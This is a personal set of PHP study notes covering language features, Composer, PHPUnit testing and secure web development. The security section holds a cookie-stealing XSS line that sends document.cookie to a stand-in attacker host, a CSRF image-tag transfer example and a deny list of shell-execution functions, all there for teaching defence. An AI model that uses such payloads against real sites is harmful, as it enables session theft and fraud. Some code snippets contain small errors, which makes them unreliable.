PHP notes from courses and web finds.
Table of Contents
- PHP language related and other tips
- Arrow funcktions (PHP 7.4)
- static variables in functions
- self vs static
- Callable formats
- Shorthand for assigning instance variables in constructor (PHP8 only)
- No objects as array keys
- Arrays are assigned by value
- modify array in foreach loop
- array_map with multiple arguments
- Most basic autoloader
- Clone objects with clone keyword
- curly braces inside Strings
- Array dereferencing (=destructuring / unpacking)
- Splat operator / unpacking arrays and traversable objects
- Variable functions
- Reminder: arrays are not like other objects
- var_export vs var_dump
- Iterate over the last X lines of a SplFileObject
- str_replace accepts also arrays for all of its arguments
- Regex capture groups with preg_replace
- type hinting in foreach loops
- authentication / pw hashing
- preventing xss attacks
- redirecting
- DateTime magic
- Email header injection attacks
- Backticks
- Disable dangerous PHP functions
- Variable variables
- DateTime from unix timestamp
- Sort arrays on multiple criteria (PHP5+) and spaceship operator (php7+)
- Generators
- Web scraping
- sscanf to extract parts of a string without regex
- Randomization
- Composer
- PHP test driven development
- Testing legacy applications
- Intellij / PHPStorm related
- Database centric PHP stuff
- PHP and Database version upgrades
- Security
- Frameworks
Arrow functions provide a shorter syntax as in JS, but more importantly, automatically have access to the parent's variable scope and thus don't need to use use ($varname), which makes the syntax even more concise compared to normal functions:
$mult = 5;
$times5 = fn($param) => $param * $mult;
echo $times5(3); // 15
Static variables can be defined in a function and the initial value is only is remembered / not initialized again on subsequent function calls.
function doStuff() {
static $cache = null;
if ($cache === null) {
$cache = '%heavy database stuff or something%';
}
// code using $cache
}
-
selfindicates the class where it is written in the code (resolved at compile time) -
staticindicates the class that is using it at runtime (meaning it can refer to subclasses)class A { public static function get_self() { return new self(); } public static function get_static() { return new static(); } }
class B extends A {}
echo get_class(B::get_self()); // A echo get_class(B::get_static()); // B echo get_class(A::get_self()); // A echo get_class(A::get_static()); // A
Callable can either be a string indicating the function name, a variable an (anonymous) function is assigned to or an array indicating the class (in case of static functions) or object as the first entry and the function as a second.
Examples from php.net:
// Type 1: Simple callback
call_user_func('my_callback_function');
// Type 2: Static class method call
call_user_func(array('MyClass', 'myCallbackMethod'));
// Type 3: Object method call
$obj = new MyClass();
call_user_func(array($obj, 'myCallbackMethod'));
// Type 4: Static class method call
call_user_func('MyClass::myCallbackMethod');
class Product {
public function __construct(public string $name, public float $price) {}
}
is the same as
class Product {
public string $name;
public float $price;
public function __construct(string $name, float $price) {
$this->name = $name;
$this->price = $price;
}
}
Not sure if I like this.
Use https://www.php.net/manual/en/function.spl-object-hash.php instead.
Values of course can be objects.
As this works differently than in most other languages where lists / arrays are just objects like any other, it needs to
be repeated that in php arrays are assigned by value by default and must be explicitely assigned with & if passing by
reference is desired:
$a = [1,2,3];
$b = $a;
$a[] = 4; // $a = [1,2,3,4]
print_r($b); // [1,2,3];
$b = &$a; // $b = [1,2,3,4];
$a[0] = 99;
print_r($b); // [99,2,3,4];
$a = [5,6,7];
// surprising as you would expect [5,6,7] to have a new reference:
print_r($b); // [5,6,7];
Items in an array can be modified directly in a foreach loop can be modified when using &:
foreach ($prices2 as &$price) {
$price = addTax($price, 10);
}
Additional arguments can be passed to the callback function using an array of values as the third parameter:
$prices = array_map('addTax', $prices, [20]);
If (and only if) the function takes multiple arguments, the array keys of an associative array aren't preserved.
spl_autoload_register(function ($class_name) {
include $class_name . '.php';
});
function nextDay(\DateTime $date) {
$interval = new DateInterval('P1D');
$nextDay = clone $date;
// Mutate the given date
return $nextDay->add($interval);
}
Aside: PHP provides als a DateTimeImmutable class:
function nextDay(DateTimeImmutable $date) {
$interval = new DateInterval('P1D');
// DateTimeImmutable makes a new object.
return $date->add($interval);
}
Taken from: https://www.phparch.com/2021/05/fiendish-functions-filtering-fact-from-fiction/
Old one but never really used it until i got used to the someqhat similar way you can do it in javascript when using backticks (
Javascript:
console.log(`var is ${var}`);
PHP:
echo "\$var is {$var}";
Useful for complex expressions such as method calls or without space between variable and surrounding text.
Arrays can be dereferenced (=destructured) like in JS.
$info = getimagesize('files/hoover.jpg');
/* $info:
array(7) {
[0]=>
int(500)
[1]=>
int(332)
[2]=>
int(2)
[3]=>
string(24) "width="500" height="332""
["bits"]=>
int(8)
["channels"]=>
int(3)
["mime"]=>
string(10) "image/jpeg"
}
*/
// Dereferencung directly from function (nothing special about this):
$bits = getimagesize('files/hoover.jpg')["bits"];
[$w, $h] = $info; // $w = 500, $h = 332
// using list:
list($w, $h) = $info;
// using non-numerical keys
[3 => $imgTagSizes, "mime" => $mimeType] = $info;
echo($imgTagSizes); // width="500" height="332"
echo($mimeType); // image/jpeg
// another example with foreach
$p = [
['item'=>'a', 'price'=>'1.99'],
['item'=>'b', 'price'=>'2.99'],
['item'=>'c', 'price'=>'3.99']
];
foreach($p as ['item'=>$item, 'price'=>$price]) {
echo "{$item}: {$price}<br>";
}
// skipping elements:
[$w, , , $imgTagSizes] = $info;
This can also be used to swap array elements in place without a temp var:
[$ar[2], $ar[0]] = [$ar[0], $ar[2]];
Like in JS, ... can be used to either receive a variable function of arguments in variadic functions:
function add(...$nums) {
return array_sum($sum);
}
echo add(1, 2, 3, 4); // 10
Or passing arguments to a function using an array:
function sum($a, $b, $c) {
return $a + $b + $c;
}
$values = [1, 2, 3];
echo sum(...$values);
Both can be used as the last argument in addition to named arguments too:
function sum($a, $b, ...$moreValues)
sum($a, ...[1, 2]);
To pass an array by reference, use & as usual:
function sum($a, $b, &...$moreValues)
Contrary to JS, this does NOT work:
//Fatal error: Spread operator is not supported in assignments
[$a, $b, ...$rest] = [1, 2, 3, 4, 5];
PHP has the splat operator since 5.6
Variadic functions were possible before 5.6:
function test($vals) {
print_r(func_get_args()); // ( [0] => 1 [1] => 2 [2] => 3 )
echo func_num_args(); // 3
}
test(1,2,3);
To use functions in variables, they must be assigned as strings (unlike python / javascript):
$imageOutput['image/gif'] = "imagecreatefromgif";
$imageOutput['image/jpeg'] = "imagecreatefromjpeg";
$imageOutput['image/png'] = "imagecreatefrompng";
$images[] = $imageOutput[$mime]($image->getRealPath());
// another example
foreach (new FilesystemIterator('files') as $image) {
if ($image->isFile() && in_array(strtolower($image->getExtension()), ['png', 'jpg', 'gif'])) {
["mime" => $mime] = getimagesize($image->getRealPath());
$imgFunc = "imagecreatefrom" . substr($mime, strpos($mime, '/') + 1);
$images[] = $imgFunc($image->getRealPath());
}
}
Arrays are always passed as values (unless & is used in the method / function declaration)
var_dump shows a readable representation of a variable, array or object; var_export does the same but the output is valid parsable PHP.
$error_log_path = '/opt/lampp/logs/php_error_log';
$log = new SplFileObject($error_log_path); // hack - go way beyond actual file length and php will correct it to the
actual last line $log->seek(PHP_INT_MAX); $lastLine = $log->key();
$lines = new LimitIterator($log, $lastLine - 100, $lastLine);
foreach ($lines as $line) {
echo $line;
}
From stackoverflow, Wallace Maxters/OnoSendai
Replace multiple strings in one source string:
$inlineSvg = str_replace(['%09', '%20', '%3D', '%3A', '%2F', '%22', '%0A', '%0D'],
[' ', ' ', '=', ':', '/', "'"],
$inlineSvg);
Replace an occurence in multiple source strings
$s1 = "hello";
$s2 = "there";
[$news1, $news2] = str_replace("e", "3", [$s1, $s2,]); // $news1 = "h3llo", $news2 = "th3r3"
Replace mutliple strings with one replacement string:
echo str_replace([' ', ',', '.', ';', '!', '?'], "_", "this sentence; is NOT! a good filename.");
// this_sentence__is_NOT__a_good_filename_
preg_replace can use arrays just like str_replace (see above).
Use $1, $2 etc. in replace function to insert capture groups:
function smartQuotes($text) {
$pattern2replacement = [
// \1 = repeat first capturing group: "
'/(")([^"]+?)\1/' => "\u{201C}$2\u{201D}", // double quotes
// (?<!\w) = negative look behind (doesn't start with a word)
// ' = '
// (?=\w) = positive lookahead (must continue with a word)
"/(?<!\w)'(?=\w)/" => "\u{2018}", // left single quote
"/(?<=\w)'(?=\w)/" => "\u{2019}", // apostrophe
// positive look behind and negative lookahead
"/(?<=[\w,.!?])'(?!\w)/" => "\u{2019}" // right single quote
];
return preg_replace(array_keys($pattern2replacement), array_values($pattern2replacement), $text);
}
/** @var SplFileInfo $svg */
foreach ($svgs as $svg) {
echo $svg->getFilename() . '</br>'; // code completion works now
}
- use 255 characters for hashed password
- use PASSWORD_DEFAULT in password_hash to always use the current most secure algorithm
password_hashcan't be used to check the password against the stored encrypted pw as php now uses a randomly generated salt; use password_verify instead.- see password_hashing for example implementation
Always check if the current form address page is the intended address to avoid cross site scripting:
if($_SERVER['PHP_SELF'] !== '/phptips/form.php') {
// redirect or other
}
Never trust $_SERVER variables like $_SERVER['PHP_SELF'].
Works with POST and GET ans PHP_SELF doesn't return query parameters.
Always use a fully qualified URL for redirects:
header('Location: http://localhost/index.php')
instead of
header('Location: /index.php'); // will not work
Relative datetime format syntax (such as "second monday of october") in detail here.
$now = new DateTime();
$expire = new DateTime('+ 3 months');
echo $expire->format('d.m.Y'); // 05.11.2021 (when done in august 5th 2021)
$formatForDB = $expire->format('Y-m-d H:i:s'); // 2021-11-05 08:47:47
$expire = new DateTime('last day of this month + 12 months');
echo $expire->format('Y-m-d'); // 2022-08-31 (when done on any day in august 2021)
$thanksgiving_ca = new DateTime('second Monday of October 2022');
echo $thanksgiving_ca->format('Y-m-d'); // 2022-10-10
The 4th parameter of PHP's mail function allows additional headers to be set; when adding these from user / form
input, e.g. mail('me@example.com', 'Form feedback', $message, "Reply-to: $email");,
use $email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
filter_input returns false on invalid input, so check if it's false before doing anything with it.
Also note not to use the From: field to avoid the mail bouncing, see email_header_injection.php.
Backticks in PHP are identical to using shell_exec!
Functions can be disabled in php.ini using disable_functions with a comma separated list of function names, e.g.
disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Related recommended security setting:
allow_url_fopen=Off
allow_url_include=Off
They exist and this is all one should know about it. Don't use them. It's not 2001 and form elements are not registered anymore as global variables.
To create a DateTime object from a unix timestamp, the timestamp must be preceded by an @:
$now = new DateTime();
$files = new CallbackFilterIterator($files, function (SplFileInfo $file) use ($now) {
$modified = new DateTime('@' . $file->getMTime());
return $modified->diff($now)->days > 180;
});
The spaceship <=> return
-1 if the left side is smaller than the right 0 if equel 1 if right is smaller than the left
// -1 0 1
// < = >
usort($members, function ($a, $b) {
return $a['last_name'] <=> $b['last_name'];
});
// same as (PHP < 7):
usort($members, function ($a, $b) {
if($a['last_name'] == $b['last_name']) {
return 0;
}
return $a['last_name'] < $b['last_name'] ? -1 : 1;
});
It is possible to compare arrays with diminishing priority:
// including first name as second priority:
usort($members, function ($a, $b) {
return [$a['last_name'], $a['first_name']] <=> [$b['last_name'], $b['first_name']];
});
This also works in PHP < 7 with normal comparison functions:
usort($members, function ($a, $b) {
if([$a['last_name'], $a['first_name']] == [$b['last_name'], $b['first_name']]) {
return 0;
}
return [$a['last_name'], $a['first_name']] < [$b['last_name'], $b['first_name']] ? -1 : 1;
});
As Python and JS, PHP has generators now (since 5.5).
Generators are iterators and can be used for co-routines and asynchronous PHP.
Assigning the generator to a variable gives access to the generators methods.
yield from can pass execution to another generator.
In PHP5, return can't be used with a value in a generator.
To check if the iterator has been closed, use valid(). To get the next available value and move to the one following,
use 'current()'.
function counter($num): Generator {
$i=1;
$total = 0;
while ($i <= $num) {
$total += $i;
yield $i++;
}
yield from theEnd();
return $total; // final value
}
function theEnd(): Generator
{
yield 'this';
yield 'is';
yield 'the';
yield 'end';
}
foreach (counter(3) as $value) {
echo '<br>', $value;
}
// 123
$count = counter(5);
foreach ($count as $value) {
echo '<br>', $value;
}
echo '<br>', $count->getReturn(); // 15
/*
1
2
3
this
is
the
end
1
2
3
4
5
this
is
the
end
15
*/
PHP has an in-built dom library:
// PHP uses xml internally and html is mostly not strictly xml compliant
libxml_use_internal_errors(true);
$doc = new DOMDocument();
if( ! $doc->loadHTMLFile('attractions.html')) {
// or
// $doc->loadHTMLFile('http://localhost' . dirname($_SERVER['PHP_SELF']) . '/attractions.html');
echo "couldn't load file";
} else {
$links = $doc->getElementsByTagName('a');
/**
* @ @var $link DOMElement
*/
foreach ($links as $link) {
$href = $link->getAttribute('href');
$linkText = $link->textContent;
echo "{$href} text: $linkText<br>";
}
}
Further request and parsing libraries to check:
Goutte with "browser simulation" methods such as "click"
Good post: https://www.scrapingbee.com/blog/web-scraping-php/
sscanf can be used in the opposite way of sprintf (or printf) to extract parts of a string:
$colorString = 'rgb(23, 129, 162)'; // spaces are ignored
$var = sscanf($colorString, 'rgb(%3d,%3d,%3d)', $r, $g, $b);
// $a = 23, $b = 129, $c = 162
$hex = sprintf("#%2x%2x%2x", $r, $g, $b); // x automatically converts to hexadecimal
echo $hex; // #1781a2
PHP7+:
Don't use mt_rand anymore; use random_int (or random_bytes)instead (greater value range and cryptographically safe).
Shuffle isn't cryptographically safe either (and was shit from the get go as it created biases in randomization).
Composer is basically NPM/yarn/pup-like command line tool for php.
- installs libraries (packages) to the current project (or globally)
- manages project dependencies
- manages and updates packages
- simplifies project migration
Packagist is the main Composer repository. It aggregates public PHP packages installable with Composer.
Installation (global):
curl -sS https://getcomposer.org/installer | php
Or install composer.phar (basically download) only in the current directory from here:
https://getcomposer.org/composer.phar
When using the local composer.phar, replace composer in the examples with php composer.phar
- initialize compose in the current project
- install / use / managelibraries and packages
- migrate composer settings with the project
- install project dependencies on migration
- in intellij, right click on project root folder and add
composer.jsonfile or runcomposer initin the project root from the command line to interactively create the composer.json - run
composer installto let composer create a vendor directory, create the autoloader and install packages if they are already defined in the json.
Most packages can be found on packagist.org, with installation instructions. These
Example:
composer require league/color-extractor:0.3.*
Install from composer.json:
composer install
Each installed package under the vendor directory gets its own composer.json with its own dependencies.
Composer creates an autoloader that must be required in the php scripts:
require 'vendor/autoload.php';
use League\ColorExtractor\Palette;
Version constraints:
[Major version].[minor release].[incremental update]
- Major version: often breaks existing code on new version
- minor release: rarely breaks existing code on new version
- incremental update: never breaks existing code
Wildcards can be used:
composer require league/color-extractor:0.3.* (fixed major and minor to 0.3, any update)
Tilde Version ranges:
~ marks the minimum version allowed, but enables updates until the next significant release.
~1.3: >= 1.3 < 2.0.0
~1.3.5: >= 1.3.5 < 1.4.0
Caret version range:
Same as tilde but always allows nonbreaking (minor version) updates.
^1.2.3: >= 1.2.3 < 2.0.0
Ensures that exactly the same versions as in the original project are used when sharing composer.json and composer.lock, including the libraries own sub-dependencies.
Use composer outdated to find outdated packages in the project.
If the result has a ! between the version numbers, it indicates that something might break when updating.
Best practice is to incrementally update, either by indicating a new version or using ~
Edit the version in composer.json, then run composer update [packagename] or just composer update for all versions
in composer.json.
Example:
- Version 1.17.0 is installed
- change to ~1.17.0 to get latest minor release and test if everything still works
- change to ^1.0 to get the latest version that's still major version 1, test
- update to next major version if desired: ^2
composer initto initialize a new composer.json file interactivelycomposer installinstall packages from composer.json / .lock (if exists)composer require [vendor/package]adds a packagecomposer require --dev [vendor/package]adds a package as a dev requirement (basically just puts it in another section in the json and lets you choose later if it should be installed)
composer showshows installe packages including subdependenciescomposer outdatedshows packages for which newer versions existcomposer updateupdates all packages to the versions indicated in composer.json and updates composer.lockcomposer update [vendor/packagename]updates a specific packagecomposer remove [vendor/packagename]removes package and all its (unique) dependencies
- never commit vendor folder as composer.json/lock contains all the necessary information; use .gitignore
- commit composer.lock if exact replica of library versions is desired / required
Course notes for php test driven development course on linkedin learning
- write test first
- run test (must fail)
- write code
- run test
- repeat until completed
- tests are run multiple times, even when doing seemingly unrelated changes
- test first, change code second
- method calls in tests show how to use a method
- proven fewer bugs (teams using TDD had 40-90% reduction of bugs while increasing initial development time by only 15-35%)
- tests assure that changes don't break the software
- increased software quality, made coding easier, improved focused planning and design
- similar to testing "by hand"
- automated
- isolated
- no forgotten or missed tests and special cases
- faster than manual testing
- Integration tests
- Functional testing (against design doc)
- behavior
- acceptance (by stakeholders)
Requirement: at least PHP 5.6, Composer installed
composer require phpunit/phpunit
- test in isolation
- test only a few things at once
- tests should be easy to write - a hard tests generally means rewriting the implementation
- Arrange (arrange preconditions necessary for the test such as setting up a test DB, objects etc)
- Set up / tear down tests with
setUpandtearDownmethods that get called before / after each test method to ensure tests don't influence each other. - To create objects shared between all tests, use
setUpBeforeClassandtearDownAfterClassmethods (should be avoided).
- Set up / tear down tests with
- Act (act on the method / object under test)
- Assert (assert correctness of results)
vendor/bin/phpunit [testdirectory]
vendor/bin/phpunit [testdirectory]/[TestClass.php]
vendor/bin/phpunit [testdirectory] --filter=[TestMethod regex]
vendor/bin/phpunit [testdirectory] --filter=[ClassName]:[MethodName]
Examples:
vendor/bin/phpunit tests --filter=receiptruns all tests in the ReceiptTest.php filevendor/bin/phpunit tests --filter=taxruns all methods / classes containing "tax", e.g. the testTax method from ReceiptTest.phpvendor/bin/phpunit [testdirectory] --filter=ReceiptTest:testTaxtests the indicated method
Just click on the play gutter icon in th class definition (run all tests) or at the methods (individual tests)
A xml file can be created to create test suites, exclude directories, adjust settings such as stopOnFailure and output colors.
Testsuites can be run with vendor/bin/phpunit --testsuite=[suitname], the filter option is still possible.
Test Double is a generic term for any case where you replace a production object for testing purposes. Martin Fowler
Purpose: test code in isolation; test doubles replace a dependency, ensure some condition occurs, improve test performance
5 basic types (blurred differentiation):
-
Dummy: replaces an object as an input that isn't used or needed for the test (but expected by the tested method)
$input = [0, 2, 5, 8]; $coupon = null; // dummy object $expected = 15; $result = $this->receipt->total($input, $coupon); $this->assertEquals($expected, $result, 'Sum should equal 15'); -
Fake: simplified version of an object to achieve speed or eliminate side effects
-
Stub: provides preset answer to method calls. Example: when checking if an exception is thrown by a method that uses a database object, we could create a fake db object with only one method that always returns false:
class DB { public function isConnected() { return false; } }In PHPUnit these can be created like this:
public function testPostTaxTotal() { $receipt = $this->getMockBuilder('TDD\Receipt') //addMethods for non existing methods, onlyMethods for existing methods ->onlyMethods(['tax', 'total']) ->getMock(); $receipt->method('total') // define method output ->will($this->returnValue(10.00)); $receipt->method('tax') ->will($this->returnValue(1.00)); // the postTaxTotal method will now interlall use the mock methods above instead // of the ones defined in the class $result = $receipt->postTaxTotal([1,2,5,8], 0.2, null); $expected = 11.0; $this->assertEqualsWithDelta($expected, $result, 0.01, 'postTaxTotal amount should be '. $expected); } -
Spy: higher level stub, records information about what happened with this test double, e.g. recording the number of times it was called
-
Mock: higher level stub, respond almost like the real object but avoid side effects (and can do all of the above of course)
// Mock version public function testPostTaxTotal() { $items = [1, 2, 5, 8]; $tax = 0.2; $coupon = null; $receipt = $this->getMockBuilder('TDD\Receipt') //addMethods for non existing methods, onlyMethods for existing methods ->onlyMethods(['tax', 'total']) ->getMock(); // expect this method to be called only once // other wise test fails // other arguments: never(), exactly(int amount), and more // this adds an another assertion to the test result (OK (1 test, 2 assertions)) $receipt->expects($this->once()) ->method('total') // define method output ->with($items, $coupon) // (only) with this input ->will($this->returnValue(10.00)); // return this output $receipt->expects($this->once()) ->method('tax') ->with(10.00, $tax) ->will($this->returnValue(1.00)); // the postTaxTotal method will now interlall use the mock methods above instead // of the ones defined in the class $result = $receipt->postTaxTotal([1, 2, 5, 8], 0.2, null); $expected = 11.0; $this->assertEqualsWithDelta($expected, $result, 0.01, 'postTaxTotal amount should be ' . $expected); }
Data providers can feed a test function with values to test in batch so for different parameters we don't have to write individual tests.
We indicate the function that feeds the testmethod by annotating the test method:
/**
* @dataProvider provideTotal
*/
public function testTotal($input, $expected)
{
$coupon = null; // dummy object
$result = $this->receipt->total($input, $coupon);
$this->assertEquals($expected, $result, 'Sum should equal ' . $expected);
}
The provider function returns an array of arrays with the expected parameters:
public function provideTotal()
{
return [
[[0,2,5,8], 15],
[[0], 0],
[[9999, 9999], 9999+9999]
];
}
Text keys can also be used:
return [
'ints should total 15' => [[0,2,5,8], 15],
// ...
];
The test inputs from the provider function can also be filtered:
vendor/bin/phpunit --filter=testTotal#1
vendor/bin/phpunit --filter=testTotal#1-2
Thrown exceptions can be checked by adding expectException before the function that throws the exception:
$this->expectException('BadMethodCallException');
$this->receipt->total($input, $coupon);
Build more features and less bugs
- more tests + more coverage = less defects
- less defects = less time spent on bugs
- less time spent on bugs = more time on features
- more tests + more coverage = easier refactoring = easier additional features
What lines were run for what tests?
Coverage can be enabled in phpunit.xml. Add (or alter) xdebug.mode=coverage in php.ini. This creates a html report in the coverage folder.
Coverage reports can't differentiate between explicit tests / assertions and "accidental" tests, when a tested method calls another method (that is otherwise untested).
Notes from the course of the same name by Chris Hartjes on linkedin learning
Set project SQL dialect:
View > tool windows -> database > [+] database
Settings > Languages & Frameworks > SQL Resolution Scopes
Settings > Languages & Frameworks > SQL Dialects
Since PHP 7.2, $stmt->debugDumpParams(); displays the prepared statements with the values as they are sent to the
database.
INSERT IGNORE INTO [...]inserts if id doesn't existINSERT INTO [the rest of the statement like usual] ON DUPLIKATE KEY UPDATE name="peer" lastname="teer" [rest of normal SQL statement]
When deleting the content of a table and repopulating it, the autoindexing continues at the last index given (which
makes sense to avoid inconsistencies when referencing deleted entries from outside / as foreign keys), so don't use a
too small type such as tinyint(3) OR drop and recreate the table instead of deleting all entries.
$db = new PDO('mysql:dbname=excel2db;host=localhost', 'root', 'root',
array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
Main breaking changes:
- original
mysql_*functions are removed and must be converted tomsqliorPDO - all
ereg*functions includingsplit(),spliti()andsql_regcase(); usepreg*functions instead - hexadecimal numbers (e.g.
0xff) are now treated as a string literal when surrounded with quotes ('0xff') so to use them in calculations they must be used either without quotes or converted usinghexdec() - ONLY
<?phptags are accepted
Mostly notes from "php - creating secure websites" by Kevin Skoglund on linkedin learning; unrelated specific items at the end of this section.
- Awareness + protection = security
- Security should match needs and goals (e.g. a site without PI or other sensitive information needs less security for protecting access to the database than one with financial, medical or just personal information)
- Focus on the areas that need to be secured
- Reevaluate periodically for changes in
- the areas that need protection (the site might now store email addresses for a newsletter function that it didn't before)
- newly discovered attack schemes and vulnerabilities of the underlying software
- raised / changing awareness of what kind of information is sensitive
- small sites are targeted as often as large sites
- PHP frameworks can help as they follow security best practices and is better tested
Primary security principles:
- least privilege:
- give a user account only essential rights to make it work (e.g. HR doesn't need access to accounting data and vice versa)
- code should limit which functions are exposed for other code to use
- simple is more secure
- never trust users, admins and contractors as their accounts can be hacked or they themselves might have malicious intents
- expect the unexpected: try to hack your own code
- defense in depth: add multiple security layers. Example would be a 2 factor authorization that, even if circumvented, doesn't give the hacker access to sensitive information that is not needed for the hacked user acccount
- security through obscurity: Don't give the hacker any information like "the password is wrong" or "user doesn't exist" as this can narrow their angle of attack
- allow and deny lists: e.g. the database should check that connections come only from a known whitelisted host (allow list), an IP of a suspected hack attempt can be added to a blacklist (deny list)
- map exposure points and data passageways (where can information be entered, e.g. forms or web services, what kind of information can come back)
- easiest and most important security measure
- applies to PHP, web server, database, libraries, frameworks etc.
- Dev and live servers must use the same versions
- Write tests to make upgrades easier!
- get notified about updates
- Never make phpinfo() or the phpmyadmin site public (duh) or at secure them with a login
- phpmyadmin: remove the setup directory after the initial setup
- set up mysql allow and deny rules so people don't have access to the entire database if they crack the login
- use authentication proxy and captchas
- best is to keep these off the public web production server
Main settings to configure PHP error reporting (in php.ini or in code):
display_errors(if errors should be shown in browser)log_errors(if errors should be logged)error_log(path to log file)error_log = /path/to/errors.logerror_log = syslog(uses the system log in linux)
error_reporting(what errors are should be shown by PHP):E_ERROR: fatal errorsE_PARSE: parse errorsE_WARNING: nonfatal errorsE_NOTICE: possible errorsE_STRICT: suggested improvementsE_DEPRECATED: code scheduled for removal in future PHP versionsE_ALL: all of the above- These can be combinde with OR (
|), e.g.E_ERROR|E_PARSEand with NOT (^), e.g.E_ALL^E_DEPRECATEDfor all errors except deprecation errors; parenthesis can be used in the logical operations, e.g.E_ALL^(E_NOTICE|E_DEPRECATED|E_STRICT)
It's good practice to have separate settings (php.inis) for development and production:
- Development (example):
- display_errors = On
- log_errors = Off
- error_reporting = E_ALL
- Production:
display_errors= Off (no clues to users / hackers about what might be wrong with the code)log_errors= On (but we want to see it)error_reporting= E_ALL if we have no known deprecations or are aware of code that produces; if we do, the log might get spammed by "errors" we already know and don't care about, so we might want to reduce them to the ones we don't expect likeE_ERROR|E_PARSE|E_WARNING
expose_php = Off: don't show PHP version to client in head (X-Powered-by); The apache+PHP version inServerentry in the response header must be disabled in the web server configuration (ServerSignature OffandServerTokens Prodinhttpd.conforapache2.conf, depending on the linux version) . article apache server response header- Limiting configurations:
- memory_limit, post_max_size, max_execution_time, max_input_time
- Disabling configurations functions targeting underlying OS:
disable_functions=show_source, exec, shell_exec, system, passtrhu, proc_open, popenenable_dl=Off(turns off dynamic loading of PHP extensions)
- File configurations
file_uploads=On,max_file_uploads,upload_max_filesize,open_basedir,upload_tmp_dir
- Remote file configurations
allow_url_fopen = Off,allow_url_include = Offto not let PHP parse code from outside the server
- configure on php.ini if possible
- if not, use the
ini_setfunction to configure at runtime - put everything in one separate configuration file that gets included at the very beginning
- today, usually sites are hosted on virtual private servers where the php.ini is accessible
- Determine data expectations
- Consider application and database requirements
- Which data, what format, what values
- Only allow expected data submissions
- set default values
Example of script only evaluating expected data, setting default values (null) if they don't exist and ignoring all others:
function extract_get_params($allowed_params=[]) {
$allowed_array = [];
foreach($allowed_params as $param) {
if(isset($_GET[$param])) {
$allowed_array[$param] = $_GET[$param];
} else {
$allowed_array[$param] = NULL;
}
}
return $allowed_array;
}
$params = extract_get_params(['username', 'password']);
Common validations:
- presence
- length
- type
- format (e.g. email)
- within a set of values
- uniqueness (e.g. username)
See validation_functions.php and validation_tests.php for examples. Questionable naming imo.
- converts harmful data / input into harmless data
- encoding characters: replaces potentially harmful characters (such as
", ', \etc, into harmless equivalents) - escaping characters: adds escape characters before characters (e.g.
\') - Don't write custom sanitization functions; use PHP functions instead
- don't remove or correct invalid data
PHP sanitization functions and the filter variables for filter_var
Also see examples in sanitization folder.
- Keep code in private and public directory, e.g. the front controller (index.php) in the public directory (can be set
with
DocumentRoot/rootin apache and nginx respectively, the rest in a private one not served by apache but accessible by the php parser via the filesystem. - Keep credentials private and secure in a single file and don't add them to git, or use an environment variable
- protect directories by keeping an index.php in every directory so directory content isn't accidentally served by the webserver
- log errors, sensitive actions and possible attacks
Example logger:
// log file must exist and have permissions set that allow writing
// Example in Unix: chmod 777 errors.log
$log_file = 'errors.log';
// An ultra-simple file logger
function logger($level="ERROR", $msg="") {
global $log_file;
// Ensure all messages have a final line return
$log_msg = $level . ": " . $msg . PHP_EOL;
// FILE_APPEND adds content to the end of the file
// LOCK_EX forbids writing to the file while in use by us
file_put_contents($log_file, $log_msg, FILE_APPEND | LOCK_EX);
}
logger("ERROR", "An unknown error occurred");
logger("DEBUG", "x is 1");
echo "Logged";
// Other loggers you can try:
// https://github.com/Seldaek/monolog
// https://github.com/apache/logging-log4php
// https://github.com/katzgrau/KLogger
// https://github.com/jbroadway/analog
- cookie data is visible to user
- cookies can be stolen using XSS attack, e.g. by executing a javascript call in the context of the real site
(
http://hacker.com/?steal=' + document.cookie) - can be observed in network traffic (non-SSL)
- Don't store sensitive information in cookies
Secure cookies by
- setting an expiration date
- set cookie domain and path
- use HttpOnly cookies
- use HTTPS and secure cookies
All these can be set with setcookie:
// Secure cookie example
// setcookie(name, value, expire, path, domain, secure, httponly)
//
// Pass in NULL for params to use default values
// Defaults:
// expire = 0 (expires when browser closes)
// path = (current directory)
// domain = (current domain)
// secure = false
// httponly = false (note: not respected by all browsers)
$name = 'lang';
$value = 'en';
$expire = time() + 60*60*24*7; // 1 week from now
$path = '/store';
$domain = 'www.mysite.com';
$secure = isset($_SERVER['HTTPS']);
$httponly = true; // JavaScript can't access cookie
setcookie($name, $value, $expire, $path, $domain, $secure, $httponly);
= tricking a page to run someone else's javascript code
Solution: sanitize any dymamic text that gets output to the browser. This applies to data from forms, URLs, from the database, cookies, sessions or from files.
Example functions for sanitization:
// Sanitize for HTML output
function h($string) {
return htmlspecialchars($string);
}
// Sanitize for JavaScript output
function j($string) {
return json_encode($string);
}
// Sanitize for use in a URL
function u($string) {
return urlencode($string);
}
// Usage examples, leave commented out
// echo h("<h1>Test string</h1><br />");
// echo j("'}; alert('Gotcha!'); //");
// echo u("?title=Working? Or not?");
- Hacker tricks users into making a request to your server
- can take advantage of users logged-in state to perform privileges actions
Example:
- user leaves his banking site without logging out
- user visits in the same browser session another site that includes an image tag that performs an action on the banking
site in the name of the user, e.g.
<img src="bank.com/transfer?amount=1000&to=12345" />
Protections:
- GET requests should be indempotent (make not changes and can be calles repeatedly)
- only POST requests should be able to make changes
- Store a token in the user's session and a hidden form field can be added with the token as the value; then the
submitted and the session form token can be compared (like in Django:
<form method="post">{% csrf_token %}); if they match, the form was generated by the right website for this specific user - track token generation time in user's session
See csrf folder for example.
- hacker is able to execute arbitrary SQL statements
- Give limited privileges to application's database user
- sanitize input for SQL
- use prepared statements
See SQL_injection folder for sanitization and prepared statement examples.
Sessions store data on the server and store a session ID in a cookie in the browser
- Session hijacking: session token is stolen to impersonate the user, e.g. by sniffing out network traffinc in an open WLAN
- Session fixation: tricks user into using a hacker-provided session ID
Solution:
- never accept session IDs from anything than cookies
- use HttpOnly cookies
- require HTTPS
These can be set in php.ini and / or in the script.
script:
// must be set before session_start
session_set_cookie_params(expire, path, domain, secure, httponly)
- regenerate the session identifier periodically at key points, e.g. directly after login
- expire and remove old session files regularly
- keep track of last activity in session
See session_hijacking_functions.php for examples.
Hacker runs OS commands on a web server.
PHP System execution functions: exec, passthru, popen, proc_open, shell_exec, system, `` (backtics)
- Avoid using these funtions or use with extreme caution;
- if not used, disable them in php.ini with
disable_functions - use escapeshellcmd and related (see link) to sanitize
- Remotely execute arbitrary PHP code
- by
eval(don't use it or don't use dynamic functions) - by remote file inclusion (
